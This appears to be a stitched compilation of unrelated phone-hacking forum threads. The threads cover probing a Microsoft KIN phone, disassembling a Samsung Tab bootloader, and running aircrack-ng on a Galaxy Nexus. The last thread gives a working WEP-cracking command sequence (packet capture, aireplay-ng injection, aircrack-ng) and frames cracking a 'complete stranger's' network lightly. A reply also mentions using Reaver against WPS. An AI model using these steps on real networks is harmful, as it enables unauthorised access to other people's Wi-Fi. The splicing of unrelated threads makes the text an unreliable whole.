Develop Bugs

What we have tried and where to go from here

Ok, so we haven't had quite as much luck yet as we would have liked, but I think as we continue to try out different approaches we will have some luck. I think it might be beneficial for us to have a an overview of what has been tried and what has been attempted thus far. So here is a list of things people have tried (please feel free to add anything that I may have left out or accidentally overlooked).
Registry Edit to access Zune storage
I believe this was the first approach that people took to gaining access to the KIN, and this link provides a great walkthrough.​
Bitpim
This is a pretty good overview of what has been attempted through Bitpim. Recently some have even tried using some other software, namely CDMA Workshop, (Look at the last post of the page.) I would suggest that we also try a couple more:
RevSkills
UniCDMA​
Nvidia Tegra Flash
I forgot this when I first posted.​
OpenZDK
This was another potential since much of the hardware, namely the processor is the same on both the kin and zune.​
Looking for clues in the log files
To put it simply in the hidden menu there is an option to have system log s emailed to you. I tried reading through some and noticed some of the events and files that the KIN uses, but have not had any luck yet.​
FTP
This link is the same as the link for the Log Files above.​
Export/Import in hidden Menu
Once again, the linked used here is the same one for Log Files and FTP.​
Please add anything that I may have left out, either different approaches or links to helpful information. I haven't had a chance to tinker with RevSkills too much yet, but it looks real promising.

Ah, we mods like these threads. Keep it up. Stickied.

The hidden import feature becomes active if you create a contact while using
qpst. It imports but I don't know where it put that info.
Interesting to note is that None of my phone entered contacts show up in qpst.
It is like that directory is mapped to some other place.
I was able to create directories and added txt files using qpst that remain even after power cycling the phone. I haven't found any of this using the phone yet.

I am getting the same results as you when I use the EFS manager and service programming. I can create files and make changes and they last after reboot.
I find it odd that when I export contacts from the hidden menu the file is visible in windows explorer if I have edited the registry as noted in the first post. I find this odd because everything else that is visible on the device using this method is related to the Zune, i.e. photos, music, and videos.

I have started looking back at some of the log files that I had the phone email me through the hidden menu and I have found some AT commands for the phone along with some other information. Here is a little bit of one file that I just started sorting through. The formatting isn't perfect because the log files have a lot of unreadable characters, but I have bolded files and commands. I also left everything in the case (upper and lower) as I found it in the file. The name of this file is:
MICROSOFT-PMX-DEBUGSTRINGPROVIDER-CHANNEL.02.clg
MPM_MainsSmThread
MPM_BB_STATE_NORMAL_ON_PRE_UPDATE
MPM_BB_USB_DRIVER_LOAD_UPDATE_EVENT, dwWaitTime: -1
MPM_Util:USB Client 1 has been Loaded
MPM_Util:USB Client 2 has been !UnLoaded!
CDMA Radio Updeate: Text stored version : v0.4.727
CDMA Radio Update:Registry Key version: v0.4.727
CDMA Radio Update: Current Modem version: v0.4.727
MPM_MainsSmThread
MPM_BB_STATE_NORMAL_ON_PRE_UPDATE
MPM_MainsSmThread
MPM_BB_UPDATE_REQ_EVENT - No modem update is needed
MPM_MainsSmThread
MPM_BB_STATE_NORMAL_ON_POST_UPDATE
MPM_END_RSTISR_REQ_EVENT, dwWaitTime: -1
MPM_MainsSmThread
MPM_BB_STATE_NORMAL_ON_POST_UPDATE
MPM_END_RSTISR_REQ_EVENT MODEM RESET ISR Init Completed.
MPM_MainsSmThread
MPM_BB_STATE_NORMAL_ON_POST_UPDATE
MPM_POWER_ON_REQ_EVENT, dwWaitTime: -1
RILNDIS: GetPacketInterface Initialize = c117d634
Shutdown = c117c4e4
RILDrv : i : Accumulated response (1) : <cr><lf>
IOPTMODE: 6 <cr><lf>
RILDrv : i : Sending cmd: ATV0E0X3 <cr>
RILDrv : t : LoadEriData : Opening file
\RoamingIndicator\eri.bin
RILDrv : i : Accumulated response (1) : ATV0E0X3 <cr> 0 <cr>
RILDrv : t : LoadEriData:
\RoamingIndicator\eri.bin not exist. Err 0x00000002
RILDrv : i : Sending cmd:
AT+cstt=0, 1, 75, 85, 95, 100 <cr>
RILDrv : t : LoadEriData: Opening file
\Windows\eri.bin
RILDrv : i : Accumulated response (1) : 0 <cr>
RILDrv : i : Sending cmd :
AT+CSTT=1,1,18,22,26,30 <cr>
PMIC Boot cookie: rb7262h
RILDrv : i : Accumulated response (1) : 0 <cr>
RILDrv : i : Sending cmd :
AT+CSQT=1<cr>
RILDrv : i : Accumulated response (1) : 0 <cr>
RILDrv:i: Sending cmd:
AT+GMI; +GMM; +GMR; +CKEYPAD?25<cr>
RILDrv:i: Accumulated response: +CKEYPAD:25
RILDrv:i: Accumulated response (2): equesting :
IUSBON, USBST, New PLMST, timestamp, 10, 2,2944 <cr><lf>
RILDrv:i:Accumulated response(1): +IQMIREADY <cr><lf>
+IUSBON<cr><lf>+IECHO: Requesting:IUSBON, USBST,
New PLMST, timestamp, 10, 2, 2944 <cr><lf>
RILDrv:i: ParseNotificationOEM: +IQMIREADY: SetEvent for QMI Init
RILDrv:i: Accumulated response(1): +IUSBON<cr><lf> +IECHO:
Requesting: IUSBON, USBST, New PLMST, timestamp, 10, 2, 2944<cr><lf>
RILDrv:i: Accumulated response(1): +IECHO:
Requesting: IUSBON, USBST, New PLMST, timestamp, 10, 2, 2944<cr><lf>
RilDrv:arseGetEquipmentInfo Modem Version: 727

I found out one more thing, if you use the s+l+power comination when the phone is powered off and connected to the computer another USB device is found. I just found this thanks to conflipper's early work We will have to come up with some sort of driver for this now.
Here is the name of the device and the hardware IDs
Microsoft Pink Bootstrap
USB\VID_045E&PID_2345&REV_0000
USB\VID_045E&PID_2345

I also just found this hardware id when having the computer turned off and plugged into the pc. When I hold down u+s+b+power Windows finds another device with the following name and hardware IDs (According to what I have found online this VID is Nvidia.) So this might be where we can use the tegra chipset stuff.
APX
USB\VID_0955&PID_7416&REV_0103
USB\VID_0955&PID_7416

Thought I would also add that my phone is currently unusable, but on the positive side, I wouldn't found those other two usb hardware IDs if this hadn't happened. Sidenote, I was using QPST Configuration program, and I right clicked on the my phone in the active phones tab. I then clicked on "Configure service to port mapping..." and added one property (unforturnately, I can no longer go back to the window because the program doesn't recognize my phone now). At this point, my phone rebooted and is now stuck trying to boot up.
I don't think it is completely bricked, but I fear that until we pull a rom it is probably useless because it is stuck in a constant cycle trying to reboot. The only way to stop this is to remove the battery. I have since tried using the various key combinations provided by conflipper and have found that the bootstrapper combination (s+l+power) would probably work if we had a rom. I then tried the hard reset combination (c+b+power) which initially looks like it might work but then it gets stuck in the cycle of rebooting.
I am going to continue working on it, hoping that somehow now that I might have some extra sort of access to hardware, but I am afraid my contributions may be limited until we are able to pull a rom.

Sorry to hear that. There has to be a way of getting it out of the loop.

RevSkills Hardware Log.
Diag Port Supported Command List.
7E - TRS FRM MSG supported.
5A - CHECK AKEY supported.
59 - EFS CMD supported.
58 - GET IS95B supported.
57 - SET MAX SUP CH supported.
56 - SUP WALSH CODES supported.
55 - FER INFO supported.
51 - GET FEATURES supported.
49 - READ PRL supported.
47 - UNKNOWN unknown response:
45 - GET CDMA RSSI unknown response:
44 - CHANGE SERIAL MODE unknown response:
43 - GET PARAMETER unknown response:
42 - UNKNOWN unknown response:
40 - SET PILOTS unknown response:
3F - GET STATE unknown response:
3E - UNKNOWN unknown response:
3D - CONF SLEEP unknown response:
3C - GET PACKET SEQNO unknown response:
22 - DISPLAY EMU supported.
04 - PEEK DWORD supported.
03 - PEEK WORD supported.
02 - PEEK BYTE supported.
01 - Show ESN supported.
00 - Version Info supported.
Click to expand...
Click to collapse
(the phone rebooted many times while doing this test, hence the unknown responses).
I tested more of the options provided by the free version of Revskills and it was kind of funny to see how the keyboard emulator worked, but only for numbers.
After all the reboots and so, i got some hex descriptions for errors in a new folder, called Err. Uploaded a new screenshot from that folder contents.
Easy CDMA just lets you browse the filesystem we already know.... not so much fun.
Little update.
You seem to be able to enter the recovery mode holding the U S B + power option but, as i tried right now, also using "Volume -" + power as stated for other tegra devices. Can't check if that loads ok on the computer, as i dont have the usb cable here right now.

OOPS I made a mistake. I am not seeing anything using windows 7 using u+S+B and power up. Should I disable zune, change registry for zune back to normal etc??

You shouldn't have to because the device has a different hardware id, so the drivers installed for the zune portion aren't applicable. Try turning your phone off, plugging in the usb cable and then using the key combinations. If the new hardware message box doesn't appear, you should still see an unkown device in device manager.
Also you have to hold the u+s+b+power for a few seconds before it will be recognized. When I have done this the screen stays blank on my phone and the only way I know it is working is through Windows.

Using Windows 7 OS. I had to uninstall the zune driver located in portable devices in the device manager then it found new APX device and i was able to point to the NVIDIA driver. Tried ruining the phone (Flashing android to it) as in another thread but it also got stuck on the flashing prompt. Restarted phone normally and the windows found another device and loaded the zune drivers back.
Incidently, holding the volume down and power on does the same as the U+S+B+Power and is easier on the fingers.
Thanks and keep up the great work.

I again may have spoken to soon. I cannot duplicate the above scenario anymore.
I also can no longer transfer pictures taken with my phone on to my pc. I can add pictures to the phone from pc and back but not the ones taken with the camera. Originally I could with zune software. The folders for uploaded pictures are different then the ones taken with the phone. I really think that I screwed something in the phone up by playing with qpst and others.

I'm not sure about what you did there, but in my testing & curiosity purposes trials, i wasnt able to alter the device (do a write to memory), so i doubt that qpst or the others did it for you.
Also, according to coinflipper notes, the kin has several layers, including the SBL that is the one operating with the os directly (the "Ms Pink bootstrap" device), not the recovery mode, which basically put us handling a modem....
I'm trying some things, but no results yet... gonna take some time....

I have changed the USB password and added contacts (somewhere) while writing to the device using qpst. I changed the password to 000001. Is this a different part of memory I am fooling with?
Thanks

I am not sure. I have no previous experience with any phone deving nor Qualcomm tools. Just pointed what coinflipper said.
I said "basically a modem", cause you got diag(nostics) mode within a com port, and some users (in other posts) showed logs with AT commands.
I'm working with some tools to connect to the device, but using the driver we all got (zune software). Not promising anything, just peeking around some tests.
@mcdietz
Here I pasted a public output of the linux command "lsusb -vv" (ultraverbose) where Kin (factory default settings) values are.
http://pastebin.com/rZscb9wz
Is useful for usb access to the kin. Use at will.

I have been testing usb connections to the kin devices (the ones we used in this forum) and i checked this:
Kin mode (normal Zune mode):
- Using MTP protocol:
-- You can browse files/folders/track related to Zune values using the lib-mtp tools in the system you like.
-- You can format the device (zune related folders) & delete zune files using the lib-mtp tools.
-- You can't download files from the device using the lib-mtp tools (kin doesn't allow you to)
-- You can't upload files to the device using the lib-mtp tools (kin doesn't allow you to)
- Using raw USB:
-- You can Write & Read values to the device (Kin VID 0x045e, PID 0x0641). Protocol allowed: MTP
Click to expand...
Click to collapse
Of course, Zune software does use this mode and is allowed to write to the filesystem. But that's because before doing so, it uses MTP protocol values to send and receive crypto values based on JANUS from Microsoft (Microsoft DRM for Mobile Devices) and after crypto relationships, the usb commands enable the "Connected" window at the Kin.
Capturing and replaying this values over usb does not work (ever) and does not work for the kin (had to try), so no go-go from here. Also, we cannot know if it would be able (dreaming after bypassing the DRM) to go outside the pictures/music/etc folders.
On the other hand, MTP tools reports that our little friend is able to reproduce the following files:
Firmware file
MediaCard
Abstract Playlist file
Abstract Album file
JPEG file
Microsoft Windows Media Video
MPEG-4 Part 14 Container Format (Audio+Video Emphasis)
Advanced Audio Coding (AAC)/MPEG-2 Part 7/MPEG-4 Part 3
MPEG-4 Part 14 Container Format (Audio Emphasis)
Microsoft Advanced Systems Format
Microsoft Windows Media Audio
ISO MPEG-1 Audio Layer 3
Click to expand...
Click to collapse
Where firmware is strange and good but the question is... how to upload the firmwares files (you can get zune firmwares from the net) to the zune software on the device (and run them)?.
It's more interesting when you notice that firmwares contain "Zboot.bin" which is "Tegra device bootloader" but, sadly, doesnt work with nvflash because of what I said below. Those updates are WinCE updates too...
APX mode (nvidia "flashing" mode), with or without Nvidia driver.
- Using nvflash
-- You can't start flashing due to writing to usb error
-- Following attemps block the nvflash and device access.
- Using raw USB:
-- You can't Write or Read values to the device (APX VID 0x0955, PID 0x7416). Protocol allowed: None
Click to expand...
Click to collapse
This matches the post where coinflipper told us that you cannot dump the rom image.
Microsoft Pink Bootstrap (No driver):
- Using raw USB:
-- You can Write & Read values to the device (Kin VID 0x045e, PID 0x2345). Protocol allowed: Unknown
-- Phone answers "01" to all the write requests i did (from "00" to "FF").
Click to expand...
Click to collapse

markspace. com/kin/
Here's some software that was developed for it, but I'm guessing it is only client end?
I'm not allowed to link, so assemble the spaces yourself please

The link for the download (direct) , being for Mac(only) is:
http://www.markspace.com/kin/download.php
But you must register to get an activation code from the main page (posted by shlhu). It will need internet access to activate the software during installation and reboot after it.
Requires Itunes (for audio sync), Iphoto (for image, also have started it once), and Quicktime (for video).
I tested it with a fresh installed Snow Leopard and i can say that it works. I dunno how it does (without zune installed), but it works.
Unfortunately, i wasnt able to analyze the usb transmission there, so i cant compare with the windows one. If it can skip the JANUS drm, then we may have a chance. If it is the same process as windows... we are done... lol.

Bootloader Register values & Memory Access

So I was reading that post about the guy who will fix bricked taps via JTAG, and thinking about how some it's necessary when the bootloader binaries don't flash properly.
This seemed to suggest to me that the download mode code is stored in memory, making it's method of interfacing with the memory controller and USB port subject to analysis through ARM disassembly.
I postulated that it would not only be academically entertaining to take a peek at such technomagic, but that it might be possible to produce a template bootloader that could serve as a basis for custom bootloaders across all devices, similar to the role CWM fills in recovery, and CM fills for the Android OS.
I reckoned a custom bootloader would not only complete the holy trinity of device operation, it would solve woes across all androids by enabling a common flashing protocol (no more ODIN, Heimdall, QPST, etc), and allowing focus on replacing locked bootloaders instead of exploiting them.
Of course, I wouldn't be able to verify my hypothesis without getting my hands dirty, so I whipped out the ol' IDA Pro and popped open the EA24 boot.bin and pressed 'c'.
God bless IDA Pro. I had beautiful ARM assembly just waiting to be learned (I'd previously only worked with Intel 8050 & PIC), but very quickly I realized that I wasn't going to get far in my analysis without information beyond the ARM instruction set reference.
Here's why:
Reason 1:
The registers are preloaded with data before the bootloader executes.
Code:
ROM:00000000 ANDEQ R0, R0, R0,LSL#16
ROM:00000004 ANDLE R0, R2, R0,LSR#11
ROM:00000008 ANDEQ R5, R2, R5,ASR LR
ROM:0000000C ANDEQ R0, R0, R0,ROR#4
ROM:00000010 B loc_30
Not only are the initial instructions skipped if the status flags are wrong, but registers 0, 2 & 5 are being compared and modified without the bootloader loading data into them. I initially suspected obfuscation, but the loader is tiny (only 1.5k of data is non-null) and the flow of code is pretty straightforward. It boots, checks some registers, and possibly takes action before waiting in a loop, (I assume in anticipation of a watchdog/shutdown interrupt firing).
So problem 1 is that I don't know how the registers look or what affects them before the bootloader is executed.
Reason 2:
The memory addressing seems to reference numbers that can't be direct memory addresses. Problem 2 is that without understanding how those addresses are interpreted, I can't understand the operation of the loader.
Code:
ROM:00000030 LDR R0, =0xD00374C0
ROM:00000034 LDR R1, [R0]
ROM:00000038 LDR R2, =0xE010A000
ROM:0000003C LDR R3, [R2]
ROM:00000040 LDR R2, =0xE010C034
ROM:00000044 LDR R4, [R2]
ROM:00000048 TST R3, #0x80000
ROM:0000004C MOVNE PC, R1
ROM:00000050 TST R3, #0x40000
ROM:00000054 BEQ loc_60
ROM:00000058 TST R4, #2
ROM:0000005C MOVNE PC, R1
So what's happening here (correct me if I'm wrong):
Code:
R1 = Memory Value [0xD00374C0] //Decimal Addr: 3,489,887,424
R3 = Memory Value [0xE010A000] //Decimal Addr: 3,759,185,920
R4 = Memory Value [0xE010C034] //Decimal Addr: 3,759,194,164
Followed by some potential jumps.
The thing is, a Sprint tab, for which this bootloader is designed, only has 2GB of internal memory, so all three address are completely out of range. This makes sense considering that ARM devices might have more than 4GB of memory. Some sort of register based memory context switching has to be in place.
Googling ARM memory mapping brings up info about mapping coprocessor registers and IO into the address space. The custom 8085 I previously worked with did something similar with its touchscreen sensors, so I'm not surprised.
With that in mind, the code would make sense if it is checking the external buttons before deciding whether to jump to the value in R1 (which has to be a real memory location to be put in PC). The tests are performed on the value in R3, so that could be the register that stores hardware button states, but R4 is also tested, so it could be only one or two of the buttons are in R3, or its some other state entirely (perhaps related to the mysterious coma semi-brick).
Regardless, it would be a fools errand to keep crawling through the assembly without better reference material on the initial state of the registers and how the memory is laid out. I was hoping that someone could can locate reference material or offer their insight, as it's been a difficult search on my own.

People like you boggle my mind. I didnt fully understand your entire writeup but if you get the the point where you are actually coding an open bootloader for android then may the force be with you. I would only assume that the android world would shower you with riches the like an xda geek has never seen.
Keep up the good fight.
Sent from my GT-P1000 using XDA Premium App

About 98% of everything in the OP was like reading japanese, to me
But whatever it was, I hope it's investigated and followed-up, cuz it sounds promising.
I think

The initial values of registers at boot should be in ARM manuals or sp5pc110/s5pv210 user, application or programmers manuals. Our ARM can even boot from serial port
See http://forum.xda-developers.com/showthread.php?t=1111866 especially download S5PC110_EVT1_UM10. With little hacking and discovering how to set up JIG resistors on Tab you should be able to boot your own code via serial.
I have made serial cable for myself and I use it to change bootloader parameters and with FIQ debugger, dmesg and serial console all the time.

very interested
i am just a beginner at this stuff but i am very interested in this stuff .i have a riffbox if this would help us at all for jtag.i am still learning about it and i am reading jeff Duntemanns assembly language step by step.i also have the free version of ida pro i think 5.5.i would love to pick ur brain for knowledge along these lines.

bootloader replacement is a very very bad idea on our SGT.
bootrom checks pbl, pbl checks sbl then sbl checks kernel.
now on our devices unless you have installed JMx leaked roms the bootchain is not sigchecked, bootrom does a small hashcheck on pbl before launching it, pbl does a signature and hash check on sbl (on GB bootloaders) and that is where it ends.
The problem is Download mode is implemented in SBL, so if you do not have a JTAG device like a riffbox there is no viable recovery method other than taking your device to samsung, but by far the biggest issue is pbl/sbl pairing, these 2 bootloaders are paired, and if they are mismatched the device is as good as a brick unless you have one of these devices.
There is one thing more important than a bootloader for all devices, and that is a viable recovery option for them. Most of the Tegra2 devices have this with APX mode, but it is still something that isn't all that common on android devices

If this can be done it would great. I suppose you could write a generic boot loader that could boot from sdcard or other linux os would be handy. All this stuff is a bit too low level hacking for me so good look in cracking this one.

Technomancer said:
The initial values of registers at boot should be in ARM manuals or sp5pc110/s5pv210 user, application or programmers manuals. Our ARM can even boot from serial port
See http://forum.xda-developers.com/show....php?t=1111866 especially download S5PC110_EVT1_UM10. With little hacking and discovering how to set up JIG resistors on Tab you should be able to boot your own code via serial.
I have made serial cable for myself and I use it to change bootloader parameters and with FIQ debugger, dmesg and serial console all the time.
Click to expand...
Click to collapse
Massive Samsung Techno Tomes! That's just the resource I need. Thanks a million. I had found a bunch of ARM memory controller references, but I couldn't find the processor specs to find out which one it uses.
reddog69 said:
very interested
i am just a beginner at this stuff but i am very interested in this stuff .i have a riffbox if this would help us at all for jtag.i am still learning about it and i am reading jeff Duntemanns assembly language step by step.i also have the free version of ida pro i think 5.5.i would love to pick ur brain for knowledge along these lines.
Click to expand...
Click to collapse
I hadn't even heard of a Riffbox till just now, but I am definitely getting one ASAP. $149 one stop shop for phone JTAG. That's way more practical than I would have imagined.
As for the brain picking, there's really only two things you need to know, at least about these snippets.
1) All processor types use different assembly mnemonic conventions, and most mobile/embedded stuff doesn't look like x86. eax, ebx, etc in x86 is generally R1, R1 in everything else. If you're starting out on an x86 book, be prepared to retrain your brain all over again when switching to anything else.
2) ARM has this thing were every opcode will be silently (no error state) skipped if the status register doesn't meet a certain condition, and every two register operation can have the second register translated before it is fed into the computation.
Code:
ROM:00000000 ANDEQ R0, R0, R0,LSL#16
ROM:00000004 ANDLE R0, R2, R0,LSR#11
The first line will only execute if the Equals flag is set. The second will only execute if the Less Than (signed) flag or the Equal flag is set. The flags are set by the previous operation, so whether these lines execute at all depends on what processor code ran before this, and whether or not its result was greater than.
Each operation also has the second operand logically shifted (LSL & LSR). The first line ANDs R0 and [R0 logically shifted left 16 bits] and stores the result in R0. The second line ANDs R2 and [R0 logically shifted right 11 bits] and stores the result in R0. There's a whole set of possible translations.
HTML:
lilstevie said:
bootloader replacement is a very very bad idea on our SGT.
bootrom checks pbl, pbl checks sbl then sbl checks kernel.
now on our devices unless you have installed JMx leaked roms the bootchain is not sigchecked, bootrom does a small hashcheck on pbl before launching it, pbl does a signature and hash check on sbl (on GB bootloaders) and that is where it ends.
The problem is Download mode is implemented in SBL, so if you do not have a JTAG device like a riffbox there is no viable recovery method other than taking your device to samsung, but by far the biggest issue is pbl/sbl pairing, these 2 bootloaders are paired, and if they are mismatched the device is as good as a brick unless you have one of these devices.
There is one thing more important than a bootloader for all devices, and that is a viable recovery option for them. Most of the Tegra2 devices have this with APX mode, but it is still something that isn't all that common on android devices
Click to expand...
Click to collapse
My thoughts:
1) Yes it's easy to do something stupid, but the worth of a plan is inversely proportional to the precision of it's execution.
2) If I'm reading this correctly, you're saying that the primary bootloader does the sig check on the secondary bootloader, the primary bootloader is hash or signature checked depending on the ROM version, and the primary bootloader does the check of the secondary.
I'm interpreting that as two things:
A) If some ROM's do sig checks and others hash, the bootrom is programmable, so the check is not only insecure on most roms, but it can be disabled or changed.
B) If I wanted to do custom download mode, I would have to make a primary bootloader that doesn't do an sbl verify, but is still accepted by the boot rom.
A tells me that shouldn't really be a problem.​
3) You actually have three recovery options, two of which are pretty cool.
A) have samsung fix it (~$50-$100) - The lame route.
B) buy a riffbox and fix it yourself (~$150 + personal work) - A valuable investment in your personal skills and toolset.
C) send it to a guy (or girl) with a riffbox whose already done it (~$50). - support someone who has taken the initiative to be self sufficient.​
4) Any decent phone (read basically all androids) can be unbricked using JTAG or better. It wouldn't behoove them to make a device they couldn't upgraded or that could accidentally permanently die during an upgrade. The issue then isn't whether or not you can fix it if you goof up, but how long you can wait for it to be fixed.
The fact that manufacturers like Motorola and HTC are now promising to retroactively unlock bootloaders shows that companies kept their bootloader checking processes mutable. This also makes sense since they wouldn't want to machine a million cellphones only to find out they accidentally locked them down with broken bootloaders.
Combined, this all says to me that the custom primary bootloader is a very good idea. Its impossible to kill most devices as long as you have a reasonably priced tool (or two), some brains, and some time, and as soon as a primary bootloader that skips the sbl validation is accepted, you're good to go.
-----------------
Thanks to everybody who contributed. I really wasn't expecting such quality responses, so you guys just made my night. I'm now proceeding to do stuff that isn't related to my android devices.

thanks
ya i got an arm book and i aee it is quite a bit different.i am going to start concentrating on.if anyone has a tab or any phone thars bricked and want to sell it let me know.i want to play around with my riffbox with them

[KERNEL] Aircrack-ng on Galaxy Nexus w/ AWUS036H usb wifi adapter (RTL8187 drivers)

For a while now I have been wanting to run aircrack on my galaxy nexus so as to have a mobile pentesting device.
So, I finally got it working and thought I would post how. This is not a task for the terminally challenged.
Install Backtrack 5 ARM. The latter is a linux environment designed for pentesting. On a mobile device the easiest way to install it is by chrooting to the mounted img, running on top of the mobile devices kernel.
Since most people seem to think aircrack is unusable on a mobile arm device, it is not included in the BackTrack 5 linux distro above, so you will need to download it manually once you have BackTrack up and running.
Here are the commands to do so:
#!/bin/bash
# Aircrack-ng installer for BackTrack 5 on Android
# By Justin Barrick aka th3p4tri0t
# install dependency for libssl-dev
apt-get install zlib1g-dev
# install libssl-dev
wget http://launchpadlibrarian.net/64412492/libssl-dev_0.9.8k-7ubuntu8.6_armel.deb
dpkg --install libssl-dev_0.9.8k-7ubuntu8.6_armel.deb
rm libssl-dev_0.9.8k-7ubuntu8.6_armel.deb
# get and install aircrack-ng
apt-get install source-aircrack-ng
cd /var/backtrack/sources/aircrack-ng/1.1/bt9/upstream-sources/
tar -xzf aircrack-ng.tar.gz
cd aircrack-ng/
make
make install
# set path variable
echo "export PATH=$PATH:/usr/local/sbin" >> ~/.bashrc
export PATH=$PATH:/usr/local/sbin
Now, the hard part. Or at least the part that took me forever to discover. You need the drivers for the AWUS036H to be insmod'ed into the kernel. You can accomplish this by obtaining your kernel source and the driver source, which is part of the compat-wireless package, more specifically the AWUS036H uses the rtl8187 chipset. Then, you cross compile those two sources to obtain rtl8187.ko, eeprom_93cx6.ko, and mac80211.ko. Then insmod those kernel modules into your kernel (insmod rtl8187.ko). The process is explained here. One can also recompile the enitre kernel, instead, and include the modules as built-in drivers. However, compiling kernel drivers can be difficult (toolchains, kernel source, etc), so luckily, I found a Galaxy Nexus kernel that already has the modules built-in, it is franco.Kernel R140 with modules added.
***Update:farcno.Kernel R200 with RTL8187 modules added, and R248 for JellyBean 4.1.1 with RTL8187 drivers
, so Aircrack-ng is now compatible with JellyBean! Also, R140 is no longer available but R200 is and has the modules needed
Beware, the kernel R200 needs ICS 4.0.4 installed to work properly, and R248 is built for JB 4.1.1.
***Update 04/11/2013:
I couldn't find any kernels with the RTL8187 drivers for JB 4.2.2, so, I built one my self. The kernel is a modified franco.Kernel R370. I didn't package it into a flashable zip, because I find it just as easy to hook my phone to my computer and use fastboot (fastboot flash boot bootJB422-RTL8187.img). The kernel image is attached below. I have been running it for about 4 days now without issue. I actually find it is the stablest version yet. I was able to play N64oid, while running airodump-ng and aireplay-ng. File attached below.
***Update 04/15/2013:
I looked into getting more of the aireplay-ng attacks to work proper with the RTL8187 drivers. There had been some complaints about fragementation attack not working and negative one always being returned as the channel for mon0. So, I found two patches for those issues on the aircrack-ng site and applied them to the franco.Kernl r370 with RTL8187 and recompiled. Now, we have fully functional aircrack-ng RTL8187 driver.
Once you flash the kernel, using the flashable zip and cwm or fastboot flash, then backtrack will be able to recognize the attached wifi adapter.... once you mount the usb bus in BackTrack. And, of course, this needs a OTG USB host cable.
The final step before learning how to use aircrack-ng is:
1. Open a terminal and load BT5, you can load the 'ui' and use an vnc to connect the the xserver desktop if you want. But, I have found it is easier to just use the chroot shell in the android terminal emulator.
2. open another android terminal window, and type:
su
mkdir -p /data/local/bt/dev/bus/usb
mount -o bind /dev/bus/usb /data/local/bt/dev/bus/usb
3. In the new android terminal window, start the BT5 shell (startbt), then type:
lsusb
You should see atleast one device, the usb root, and whatever device you have plugged in to the otg cable, if any.
A note to remember: I re-performed this guide after formatting my phone and got stuck here. lsusb didn't list anything. I rebooted my phone and tried to start BT5 and mount the usb again and it worked. I rebooted, started BT5, tried lsusb without binding usb and was blank as should be, bound usb back in another terminal window, returned to BT5, tried lsusb and root hub displayed.
Now, plug in the AWUS036H and type: airmon-ng
And you should see the device listed.
Read here for how to run aircrack, or view here.
Essentially the commands are:
lshw -disable dmi
(this should list the attached wifi card under NETWORK, my RTL8187 was wlan1)
ifconfig
(you should see wlan1 listed, if not the type "ifconfig wlan1 up" and retype "ifconfig")
airmon-ng start wlan1
airodump-ng mon0
copy BSSID and CHANNEL
New android terminal with BT5 shell (startbt): airodump-ng -w wep -c CHANNEL --bssid BSSID mon0
New android terminal with BT5 shell (startbt): aireplay-ng -1 0 -a BSSID mon0
New android terminal with BT5 shell (startbt): aireplay-ng -3 -b BSSID mon0
After ~50,000 packets collected:
New android terminal with BT5 shell (startbt): aircrack-ng wep-01.cap
To the purpose, with this, if your friend or mom or just some complete stranger forgets their wep key to their network, all they need to do is call you and you can just drive by, plug your wifi adapter into your phone, chroot to BT5 and aircrack their password for them, in a matter of 5 to 10 minutes.
WARNING!!!: In my intial aircrack run on my galaxy nexus, I cracked a wep key in about 5-10 minutes. I was happy, happy, happy. Then, a ruinous moment occurred. Almost the very second aircrack-ng finished cracking the key, my phone came up with a low battery warning, I was using a awus036h wifi adapter and it was draining my battery fast, I had about 50% to begin and had the 14% warning hit me about 10 minutes in, funny thing is the warning is usually 14%, but this time was 13%, go figure? Anyway seconds after the warning my phone just blanks, turns off. I plug it in and reboot and the battery is at 0% and stuck there, so a word of warning:
An external wifi adapter my require more usb host juice then the battery can safely supply. I have seen people using powered hubs to circumvent draining the phone battery, I would defintiely recommend the practice.
UPDATE: I plugged the phone into an AC charger and the battery finally charged (phew). For some reason, it wouldn't recharge on the USB cable after being so drained.

Is there a compatible wifi device that has the same chip set but with its own power supply (cord or battery)? If so that should help. I'm interested if someone can find one.
Sent from my Galaxy Nexus using xda premium

This is amazing work. I used to do some network pen testing as part of my old job and there's a lot of work that goes into making a mobile setup even with a laptop involved. The fact you got this all working coherently on a phone is mind blowing to me. Huge props.
I have no experience with this manufacturer or ebay seller but through some googling I did find this product:
http://www.ebay.com/itm/Solar-Power...970998?pt=PDA_Accessories&hash=item20b72a86b6
USB hubs in theory do not identify as normal USB devices and allow for pass through communication between connected devices. This one supplies external power as well. In other words, you may be able to connect both devices to this as it provides external power, and they can communicate without you having to rewrite any drivers.
However, be careful because some USB chipsets get confused if you try to use them as USB host but supply external power at the same time. So you may want to verify that is safe on the GNEX USB chipset.

Anyone willing to order that hub and test it?
Sent from my Galaxy Nexus using xda premium

Wow just found that and will be testing it at home tonight.
I flashed the V140 kernel via recovery and I can't locate rtl8187.ko anywhere to move it to /data/local/modules
Where is it located once the kernel flashed?
Thanks!

Once you install the R140 kernel mentioned, there is no need to insmod rtl8187.ko. The rtl8187 chipset support is compiled into the kernel boot.img.

I use this external battery pack, and I spliced a spare USB cord with the cord from my wifi adapter, so it only draws juice from the battery pack.
When you cut open a usb cord there are four wires: red, black, green, and white.
Green and white are data, connect them to the cord going to the galaxy nexus.
Red is +5V, connect it to the +5 V or red cord going to the battery pack.
Black is common, connect it to both usb cords.
So, on the cord going to the battery pack, green and white are loose, and on the cord going to the gnex, red is loose.
Or, you could use the solar powered hub mentioned above. You will still need the modified kernel, as the hub will show up as an attached device, but so will whatever is connected to it. You can't communicate with a device, without the appropriate drivers.

I did the bt5 development for the xoom. Reaver works too for h4xRing wps. I make a module pack with about 100 modules for xoom. If this is something the gnex community is interested in ill see what a can do.

bigrushdog, to be honest, during my trek to get this working, I nearly gave up and bought a XOOM, after seeing how well developed it was.

bigrushdog said:
I did the bt5 development for the xoom. Reaver works too for h4xRing wps. I make a module pack with about 100 modules for xoom. If this is something the gnex community is interested in ill see what a can do.
Click to expand...
Click to collapse
Of course I would be interested!!!

Aircrack is working now with my rtl8187!
Great job. However I noticed that this kernel is draining the battery much quicker than the latest Franciscofranco kernel in Android with a normal everyday usage.

You could download the franco.Kernel updater, it lets you set options in the franco.Kernel, like the "Generic Hotplug" option which saves battery by turning off one cpu core when the phone screen is off and allows you to set undervolt settings. It also has a Power Mode setting with Full Power, Balanced, and Power Save options. Full Power is default, which makes your phone faster, but at the expense of battery power.
Be sure not to upgrade the kernel to the current nightly though. The franco.Kernel I listed is specially modified, the rtl8187 drivers aren't normally found in the franco.Kernel.

bigrushdog said:
I did the bt5 development for the xoom. Reaver works too for h4xRing wps. I make a module pack with about 100 modules for xoom. If this is something the gnex community is interested in ill see what a can do.
Click to expand...
Click to collapse
Yes, please! I'd be interested.
